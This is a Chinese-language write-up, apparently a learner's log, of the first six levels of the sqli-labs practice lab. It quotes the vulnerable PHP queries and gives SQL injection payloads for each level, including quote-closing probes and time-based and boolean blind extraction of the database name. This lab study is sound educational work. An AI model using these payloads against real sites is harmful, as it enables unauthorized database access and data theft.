sqli-labs记录

1.Less-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

id作为传参变量,在代码审计中发现传入的id简单拼接后带入sql查询,所以有注入点。

先用 ’ 尝试,报错显示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

所以猜测可能采用了’ 或" 进行闭合,第一步尝试用 ’ 构造payload

?id=1' and 1=1--+

尝试成功,页面正常返回,所以可以确定是采用了 ’ 闭合,所以构造payload时将’ 闭合即可。

2.Less-2

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

代码审计发现,获得的id原封不动的传入拼接后带入数据库查询,所以有注入点

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造payload:

?id=1 and 1=1
?id=1 and 1=2

两次返回结果不同,所以有注入点。

3.Less-3

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

通过代码审计,脚本对传入的id进行了添加(’’)。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

构造报错:

?id='

显示如下界面:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

可以猜测有’或"加()的闭合,所以构造闭合:
构造payload:

?id=1' and 1=1--+
或者
?id=1' and 1=1#

4.Less-4

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

通过代码审计,发现传入的id进行了" "的封装,在拼接sql语句时,又拼接了():

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造报错:

?id="

显示如下界面:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1 

所以可以猜测有’或"的加()的存在,所以需要构造闭合。

构造payload:

?id=1") and 1=1--+
或
?id=1") and 1=1#

5.Less-5

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

通过代码审计,发现对查询的变量只有You are in…的输出结果。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
     
  	echo '';	
  	echo 'You are in...........';
  	echo "
"
; echo "
"; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}

所以本关采用盲注思路,盲注一般有两种思路,第一种是基于时间的盲注,第二种是布尔型盲注。

可以利用substr()函数来截断,通过盲注来获得值。

基于时间的盲注:
构造payload:

id=1' and if(length(database())=8,sleep(5),1)--+ 

通过浏览器的返回时间,判断数据库名的长度,从1开始尝试,直到8时有5秒延迟,所以确定数据库长度为8。
所以下一步盲注数据库名称,利用substr()函数。

构造payload:

id=1' and if(substr(database(),1,1)='a',sleep(5),1)--+ 

通过爆破可以得出数据库的第一个字母为s,所以继续爆破可以得出其他的字母,从而得出完整数据库。

基于布尔的盲注:
构造payload:

?id=1' and substr(database(),1,1)='s'--+

提示You are in…则表示正确,可以采用爆破来获得。

6.Less-6

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

与第五关的思路相同,不同点在于脚本中对sql语句的拼接添加了" "号,所以注入时需要采用"来闭合sql语句,从而注入。

7.Less-7


Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

待后续更新。。。。

你可能感兴趣的:(web渗透)